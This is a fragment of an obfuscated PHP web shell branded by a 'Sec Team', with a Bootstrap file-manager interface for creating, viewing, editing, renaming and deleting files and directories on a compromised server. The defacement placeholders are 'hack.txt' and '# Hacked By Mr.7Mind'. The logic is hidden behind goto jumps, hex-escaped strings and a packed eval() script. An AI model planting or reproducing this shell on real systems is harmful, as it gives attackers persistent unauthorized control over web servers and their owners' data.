			<form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Hacked By Mr.7Mind"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
			<?php  goto H5xwh; jEiRQ: if (!($_GET["\164"] == "\x64")) { goto VZ; } goto smb0r; wMhCo: ?>
</span>
			<form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php  goto BBt58; Vwfo5: ?>
</li>
			<li>Mysql: <?php  goto QvJ3W; IZjG1: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\144\145\x72" : "\146\151\154\145"; goto gMZqS; KYoNk: $pesan_alert = "\x66\151\170\40{$x_path}\x20\x3a\x70\40\x2a\111\x50\40\101\144\x64\162\x65\x73\x73\40\x3a\40\133\40" . $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\104\x44\x52"] . "\40\x5d"; goto KRlvS; Tc3ne: PG: goto Ol5lD; fCLPp: ?>
</li>
			<li>php Version: <?php  goto KPZFC; CR4J3: ?>
		<div class="px-2 py-2">
			<?php  goto nEnOJ; oEt2p: ?>
			<h5 class="border p-1 mb-3">View file</h5>
			<span>File name : <?php  goto pxujP; FGG6I: if (!($_GET["\164"] == "\x66")) { goto xB; } goto PCKkF; DI0ZG: $Jd = $c8[2](); goto ylohA; XNBwm: ?>
		<table class="table table-hover table-bordered table-sm">
			<thead class="text-light">
				<tr>
					<th>Name</th>
					<th>Size</th>
					<th>Permission</th>
					<th>Action</th>
				</tr>
			</thead>
			<tbody class="text-light">
				<?php  goto kr6gD; S8WFY: echo "{$_SERVER["\123\105\122\126\105\x52\137\x4e\101\115\105"]}"; goto hGsY9; NlqaC: ?>
</textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
			<?php  goto QsXeo; h0WXv: mR: goto j7bJR; PhN9B: isset($_POST["\x73"]) ? $c8[16]($Jd . "\x2f" . jD($_GET["\156"]), $_POST["\x6e"]) ? XE("\163\165\143\143\x65\163\x73\x66\x75\154\x6c\x79\40\x63\150\x61\x6e\x67\145\x64\40\164\x68\145\40\x66\157\154\x64\145\x72\40\156\141\155\x65") : Xe("\146\141\x69\154\145\x64\40\x74\157\x20\143\x68\141\x6e\x67\145\40\x74\x68\145\x20\x66\157\x6c\144\145\x72\x20\156\x61\155\145", 0) : null; goto hu7SY; G7r0M: echo Ss($Jd) . "\46\141\x3d" . sS("\x6e\145\x77\x44\151\x72"); goto HWxV6; P264Z: WC: goto LLBc0; HWxV6: ?>
"> [ Add New Directory ] </a>
			</div>
	<div class="bg-dark border table-responsive mt-2">
		<div class="ml-2" style="font-size:18px;">
			<span>Path: </span>
			<?php  goto j0f4X; LW_6m: ?>
			</tbody>
		</table>
		<?php  goto h0WXv; FKToA: $BL = $Jd . "\57" . Jd($_GET["\156"]); goto jEiRQ; jlwVx: echo Jd($_GET["\x6e"]); goto wMhCo; j7bJR: ?>
	</article>
	<div class="bg-dark border text-center mt-2">
		<small>Copyright &copy; 2020 - XRelaX Sec Team</small>
	</div>
	<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
	<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
	<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
	<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</htm')); ?>